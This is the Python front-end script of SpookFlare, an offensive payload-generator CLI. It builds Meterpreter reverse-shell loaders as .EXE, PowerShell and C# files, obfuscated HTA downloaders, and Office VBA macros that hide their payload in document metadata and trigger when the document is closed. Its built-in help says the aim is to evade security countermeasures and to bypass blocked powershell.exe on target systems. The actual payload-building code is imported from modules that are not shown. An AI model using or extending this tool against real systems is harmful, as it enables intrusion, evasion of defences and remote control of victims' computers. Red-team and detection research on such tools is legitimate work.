#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function

import cmd
import os
import signal
import sys

from lib import sfhta, sfmpbin, sfmpps, sfvba
from terminaltables import AsciiTable

intro = '''\033[1m\033[91m     ___ ___  ___   ___  _  _____ _      _   ___ ___
    / __| _ \/ _ \ / _ \| |/ / __| |    /_\ | _ \ __|
    \__ \  _/ (_) | (_) | ' <| _|| |__ / _ \|   / _|
    |___/_|  \___/ \___/|_|\_\_| |____/_/ \_\_|_\___|
\033[0m
            Version    : 2.0
            Author     : Halil Dalabasmaz
            WWW        : artofpwn.com, spookflare.com
            Twitter    : @hlldz
            Github     : @hlldz
            Licence    : Apache License 2.0
            Note       : Stay in shadows!

 \033[1m\033[94m[*]\033[0m You can use "help" command for access help section\033[0m.
'''

def ctrlcHandler(signum, frame):
    print(" \n\n \033[1m\033[94m[*]\033[0m Exited but do not forget to stay in the shadows!\033[0m\n")
    sys.exit(0)

class sfCmd(cmd.Cmd):
    global helpText
    helpText = "Commands"
    def __init__(self, intro=intro, prompt="\033[1mSpookFlare > \033[0m"):
        cmd.Cmd.__init__(self)
        self.intro = intro
        self.prompt = prompt
        self.doc_header = helpText
        global moduleName
        moduleName = ""

    def do_list(self, line):
        optionsValues = [
            ["ID", "Payload", "Description"],
            ["1", "meterpreter/binary", ".EXE Meterpreter Reverse HTTP and HTTPS loader"],
            ["2", "meterpreter/powershell", "PowerShell based Meterpreter Reverse HTTP and HTTPS loader"],
            ["3", "javascript/hta", ".HTA loader with .HTML extension for specific command"],
            ["4", "vba/macro", "Office Macro loader for specific command"]
        ]
        optTable = AsciiTable(optionsValues)
        optTable.outer_border = False
        optTable.inner_column_border = True
        print("\n" + optTable.table + "\n")

    def do_use(self, line):
        try:
            global moduleName
            moduleName = line.split()[0]
        except IndexError:
            print("\n \033[1m\033[91m[!]\033[0m You need to give a valid payload id.\033[0m\n")
        if moduleName in ("1", "meterpreter/binary"):
            moduleName = "meterpreter/binary"
            sfCmds = mpBinaryModule()
            sfCmds.cmdloop()
        elif moduleName in ("2", "meterpreter/powershell"):
            moduleName = "meterpreter/powershell"
            sfCmds = mpPSModule()
            sfCmds.cmdloop()
        elif moduleName in ("3", "javascript/hta"):
            moduleName = "javascript/hta"
            sfCmds = jsHtaModule()
            sfCmds.cmdloop()
        elif moduleName in ("4", "vba/macro"):
            moduleName = "vba/macro"
            sfCmds = vbaModule()
            sfCmds.cmdloop()
        else:
            pass

    def do_exit(self, line):
        print(" \n \033[1m\033[94m[*]\033[0m Exited but do not forget to stay in the shadows!\033[0m\n")
        return True

    def emptyline(self):
        pass

    def help_list(self):
        print("List available payloads")

    def help_use(self):
        print("Use specific payload. Syntax: use <id> ")

    def help_exit(self):
        print("Exit SpookFlare")

    def help_info(self):
        print("Show payload options and parameter values")

    def help_set(self):
        print("Set value to parameter. Syntax: set <parameter> <value>")

    def help_generate(self):
        print("Generate the payload with current values.")

    def help_back(self):
        print("Back to SpookFlare main menu.")

class mpBinaryModule(sfCmd):
    global mpbProto, mpbLhost, mpbLport, mpbArch, mpbSsize
    mpbProto = None
    mpbLhost = None
    mpbLport = None
    mpbArch = None
    mpbSsize = "0"

    def __init__(self):
        sfCmd.__init__(
            self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ")

    def do_info(self, line):
        print("\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n")
        print(''' This module can be used to generate .EXE loaders and it is
 coded with C#. It support Meterpreter Reverse HTTP,
 Reverse HTTPS staged payloads. The payloads generated by
 this module has two parts. The first part is the real loader
 code generated with character substitution. The second part
 is to compile and run the first part at runtime.''')
        print("\n \033[1m\033[94m[*]\033[0m Module Options\033[0m")
        optionsValues = [
            ["Parameter", "Required", "Value", "Description"],
            ["PROTO", "Yes", mpbProto, "Listener protocol. Accepted: http or https"],
            ["LHOST", "Yes", mpbLhost, "The local listener hostname or IP address"],
            ["LPORT", "Yes", mpbLport, "The local listener port."],
            ["ARCH", "Yes", mpbArch, "Architecture of target system. Accepted: x86 or x64"],
            ["SSIZE", "No", mpbSsize, "If you patched Metasploit insert your patch size"]
        ]
        optTable = AsciiTable(optionsValues)
        optTable.outer_border = False
        optTable.inner_column_border = False
        optTable.justify_columns[1] = "center"
        print("\n" + optTable.table + "\n")

    def do_set(self, line):
        global mpbProto
        global mpbLhost
        global mpbLport
        global mpbArch
        global mpbSsize
        if line.split()[0] == "PROTO":
            if line.split()[1] in ("http", "https"):
                mpbProto = line.split()[1]
                print("PROTO => " + line.split()[1])
            else:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
        elif line.split()[0] == "LHOST":
            mpbLhost = line.split()[1]
            print("LHOST => " + line.split()[1])
        elif line.split()[0] == "LPORT":
            try:
                int(line.split()[1])
                if (0 < int(line.split()[1]) < 65536):
                    mpbLport = line.split()[1]
                    print("LPORT => " + line.split()[1])
                else:
                    print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
            except ValueError:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
        elif line.split()[0] == "ARCH":
            if line.split()[1] in ("x86", "x64"):
                mpbArch = line.split()[1]
                print("ARCH => " + line.split()[1])
            else:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
        elif line.split()[0] == "SSIZE":
            try:
                int(line.split()[1])
                if int(line.split()[1]) >= 0:
                    mpbSsize = line.split()[1]
                    print("SSIZE => " + line.split()[1])
                else:
                    print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
            except ValueError:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")

    def do_generate(self, line):
        if None in (mpbProto, mpbLhost, mpbLport, mpbArch):
            print("\n \033[1m\033[91m[!]\033[0m Please check your values.\n")
        else:
            print("\n \033[1m\033[94m[*]\033[0m Generating payload...\n")
            outputFileName = sfmpbin.randomString()
            outputMPPSCode = sfmpbin.generateMPBinLoader(mpbProto, mpbLhost, mpbLport, mpbArch, mpbSsize)
            with open("output/"+outputFileName+".cs", "w") as out_file:
                out_file.write(outputMPPSCode)
            print(" \033[1m\033[92m[+]\033[0m Binary loader code is successfully generated: output/" + outputFileName+".cs\n")
            print(" \033[1m\033[94m[*]\033[0m You can use C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe or Visual Studie for compile C# code.\n")

    def do_back(self, line):
        return True

    def do_exit(self, line):
        pass


class mpPSModule(sfCmd):
    global mppProto, mppLhost, mppLport, mppArch, mppSsize
    mppProto = None
    mppLhost = None
    mppLport = None
    mppArch = None
    mppSsize = "0"

    def __init__(self):
        sfCmd.__init__(
            self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ")

    def do_info(self, line):
        print("\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n")
        print(''' This module can be used to generate PowerShell
 based loader (.PS1) and .EXE loader for blocked powershell.exe
 environments. It support Meterpreter Reverse HTTP, Reverse HTTPS
 staged payloads. The payload generated by this module has two output.
 The first output is PowerShell script and it can be used directly
 when available PowerShell access. The second output is C# code
 for PowerShell based loader code that will be used when powershell.exe
 is blocked. You can compile and run it, after that loader runs
 the PowerShell  based loader code using System.Management.Automation.dll.
 This module also has the ability to process patched stages.''')
        print("\n \033[1m\033[94m[*]\033[0m Module Options\033[0m")
        optionsValues = [
            ["Parameter", "Required", "Value", "Description"],
            ["PROTO", "Yes", mppProto, "Listener protocol. Accepted: http or https"],
            ["LHOST", "Yes", mppLhost, "The local listener hostname or IP address"],
            ["LPORT", "Yes", mppLport, "The local listener port."],
            ["ARCH", "Yes", mppArch, "Architecture of target system. Accepted: x86 or x64"],
            ["SSIZE", "No", mppSsize, "If you patched Metasploit insert your patch size"]
        ]
        optTable = AsciiTable(optionsValues)
        optTable.outer_border = False
        optTable.inner_column_border = False
        optTable.justify_columns[1] = "center"
        print("\n" + optTable.table + "\n")

    def do_set(self, line):
        global mppProto
        global mppLhost
        global mppLport
        global mppArch
        global mppSsize
        if line.split()[0] == "PROTO":
            if line.split()[1] == "http" or line.split()[1] == "https":
                mppProto = line.split()[1]
                print("PROTO => " + line.split()[1])
            else:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
        elif line.split()[0] == "LHOST":
            mppLhost = line.split()[1]
            print("LHOST => " + line.split()[1])
        elif line.split()[0] == "LPORT":
            try:
                int(line.split()[1])
                if (0 < int(line.split()[1]) < 65536):
                    mppLport = line.split()[1]
                    print("LPORT => " + line.split()[1])
                else:
                    print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
            except ValueError:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
        elif line.split()[0] == "ARCH":
            if line.split()[1] in ("x86", "x64"):
                mppArch = line.split()[1]
                print("ARCH => " + line.split()[1])
            else:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
        elif line.split()[0] == "SSIZE":
            try:
                int(line.split()[1])
                if int(line.split()[1]) >= 0:
                    mppSsize = line.split()[1]
                    print("SSIZE => " + line.split()[1])
                else:
                    print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
            except ValueError:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")

    def do_generate(self, line):
        if None in (mppProto, mppLhost, mppLport, mppArch):
            print("\n \033[1m\033[91m[!]\033[0m Please check your values.\n")
        else:
            print("\n \033[1m\033[94m[*]\033[0m Generating payload...\n")
            outputFileName = sfmpps.randomString()
            outputMPPSCode = sfmpps.generateMPPSLoader(mppProto, mppLhost, mppLport, mppArch, mppSsize)
            with open("output/"+outputFileName+".ps1", "w") as out_file:
                out_file.write(outputMPPSCode)
            print(" \033[1m\033[92m[+]\033[0m PowerShell loader code is successfully generated: output/" + outputFileName+".ps1")
            with open("output/"+outputFileName+".cs", "w") as out_file:
                out_file.write(sfmpps.generateMPPSCsharpLoader(outputMPPSCode))
            print(" \033[1m\033[92m[+]\033[0m C# loader code is successfully generated: output/" + outputFileName+".cs\n")
            print(" \033[1m\033[94m[*]\033[0m If powershell.exe is blocked on the target system, use the C# code for bypass that restriction.")
            print("     You can use C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe for compile.\n")

    def do_back(self, line):
        return True

    def do_exit(self, line):
        pass


class jsHtaModule(sfCmd):
    global htaDownloadName, htaCmdFile
    htaDownloadName = None
    htaCmdFile = None

    def __init__(self):
        sfCmd.__init__(
            self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ")

    def do_info(self, line):
        print("\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n")
        print(''' This module can be used to generate HTA downloader
 payload with character substitution, obfuscation
 and encoding. The module has HTML file output and
 generated HTML file do all things dynamically at
 the client-side. Thus, a great advantage can be
 obtained against the security countermeasures
 in the target. The logic of this module is derived
 from NCC Group's Demiguise project and added
 JavaScript encoder. Using this module, the desired
 operating system commands can be executed on
 the target system.''')
        print("\n \033[1m\033[94m[*]\033[0m Module Options\033[0m")
        optionsValues = [
            ["Parameter", "Required", "Value", "Description"],
            ["FNAME", "Yes", htaDownloadName, "The file name that will appear when the payload is triggered. Ex: SpookFlare"],
            ["CMD", "Yes", htaCmdFile, "The file containing the payload command to run"]
        ]
        optTable = AsciiTable(optionsValues)
        optTable.outer_border = False
        optTable.inner_column_border = False
        optTable.justify_columns[1] = "center"
        print("\n" + optTable.table + "\n")

    def do_set(self, line):
        global htaDownloadName
        global htaCmdFile
        if line.split()[0] == "FNAME":
            htaDownloadName = line.split()[1]
            print("FNAME => " + line.split()[1])
        elif line.split()[0] == "CMD":
            htaCmdFile = line.split()[1]
            if os.path.isfile(htaCmdFile):
                print("CMD => " + line.split()[1])
            else:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid file.\n")

    def do_generate(self, line):
        if None in (htaDownloadName, htaCmdFile):
            print("\n \033[1m\033[91m[!]\033[0m Please check your values.\n")
        else:
            print("\n \033[1m\033[94m[*]\033[0m Generating payload...\033[0m")
            with open(htaCmdFile, "r") as in_file:
                htaCommand = in_file.read().strip()
            outputFileName = sfhta.randomString()
            with open("output/"+outputFileName+".html", "w") as out_file:
                out_file.write(sfhta.obfuscateHta(sfhta.generateBase(htaCommand, htaDownloadName)))
            print(" \033[1m\033[92m[+]\033[0m HTML loader code is successfully generated: output/" + \
                outputFileName+".html\033[0m\n")

    def do_back(self, line):
        return True

    def do_exit(self, line):
        pass

class vbaModule(sfCmd):
    global vbaCmdFile, vbaFileType, vbaMetaName
    vbaCmdFile = None
    vbaFileType = None
    vbaMetaName = None

    def __init__(self):
        sfCmd.__init__(
            self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ")

    def do_info(self, line):
        print("\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n")
        print(''' This module is generate VBA macro loader
 payload with character substitution. The VBA macro
 reads real payload from spesific meta-data sections
 of file. Thus, a great advantage can be obtained
 against the security countermeasures in the target.
 Also payload will be triggered when user close the
 document. Working in this way is especially advantageous
 in analysis. Because run of macro code for when
 file opened is marked as malicious by the usage
 intensity. Using this module, the desired operating
 system commands can be executed on the target system.''')
        print("\n \033[1m\033[94m[*]\033[0m Module Options\033[0m")
        optionsValues = [
            ["Parameter", "Required", "Value", "Description"],
            ["CMD", "Yes", vbaCmdFile, "The file containing the payload command to run"],
            ["FTYPE", "Yes", vbaFileType, "File type of payload. Accepted: word, excel, powerpoint"],
            ["META", "Yes", vbaMetaName, "The metadata name to read payload. Accepted: Comments and Company (case sensetive)"]
        ]
        optTable = AsciiTable(optionsValues)
        optTable.outer_border = False
        optTable.inner_column_border = False
        optTable.justify_columns[1] = "center"
        print("\n" + optTable.table + "\n")

    def do_set(self, line):
        global vbaCmdFile
        global vbaFileType
        global vbaMetaName

        if line.split()[0] == "FTYPE":
            if line.split()[1] in ("word", "excel", "powerpoint"):
                vbaFileType = line.split()[1]
                print("FTYPE => " + line.split()[1])
            else:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
        if line.split()[0] == "META":
            if line.split()[1] in ("Comments", "Company"):
                vbaMetaName = line.split()[1]
                print("META => " + line.split()[1])
            else:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n")
        elif line.split()[0] == "CMD":
            vbaCmdFile = line.split()[1]
            if os.path.isfile(vbaCmdFile):
                print("CMD => " + line.split()[1])
            else:
                print("\n \033[1m\033[91m[!]\033[0m Please enter valid file.\n")

    def do_generate(self, line):
        if None in (vbaCmdFile, vbaFileType, vbaMetaName):
            print("\n \033[1m\033[91m[!]\033[0m Please check your values.\n")
        else:
            print("\n \033[1m\033[94m[*]\033[0m Generating payload...\033[0m")
            with open(vbaCmdFile, "r") as in_file:
                vbaCommand = in_file.read().strip()
            outputFileName = sfvba.randomString()
            with open("output/"+outputFileName+".vba", "w") as out_file:
                out_file.write(sfvba.generateVBALauncher(vbaFileType, vbaCommand, vbaMetaName))
            print(" \033[1m\033[92m[+]\033[0m Macro loader code is successfully generated: output/" +
                  outputFileName + ".vba\033[0m\n")

    def do_back(self, line):
        return True

    def do_exit(self, line):
        pass


if __name__ == '__main__':
    signal.signal(signal.SIGINT, ctrlcHandler)
    sfCmds = sfCmd()
    sfCmds.cmdloop()
